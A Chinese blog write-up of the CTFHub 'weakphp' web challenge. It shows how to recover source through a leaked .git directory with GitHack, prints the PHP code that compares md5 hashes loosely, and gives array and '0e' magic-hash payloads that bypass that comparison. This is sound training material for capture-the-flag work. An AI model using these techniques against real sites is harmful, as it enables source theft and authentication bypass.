CTFHub_2017-赛客夏令营-Web-weakphp(git泄露、MD5绕过)

进入场景,显示如下

查看writeup,发现本题是.git源码泄露(很多题目这个git目录都是禁止访问,我也不知道大佬怎么知道是.git源码泄露的)

要获取泄露的源码,可以使用 GitHack 工具。GitHack 是一个 .git 泄露利用脚本,通过泄露的 .git 文件夹下的文件重建还原工程源代码。在 cmd 命令下键入下面的命令,脚本就会把存在 Git 泄露的源码全部下载下来。

GitHack.py http://xxx.com/.git/

源码如下

<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");
}

$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";
}
?>

审计源码,发现本题需要user和pass不相等但是md5值相等。而MD5比较时采用了==弱类型比较。

方式1 数组绕过

payload

/index.php?user[]=1&pass[]=2

方式2 MD5绕过

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

以下值在md5加密后以0E开头:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

payload

/index.php?user=QNKCDZO&pass=240610708
posted @ 2022-02-24 09:15  zhengna  阅读(323)  评论(0编辑  收藏  举报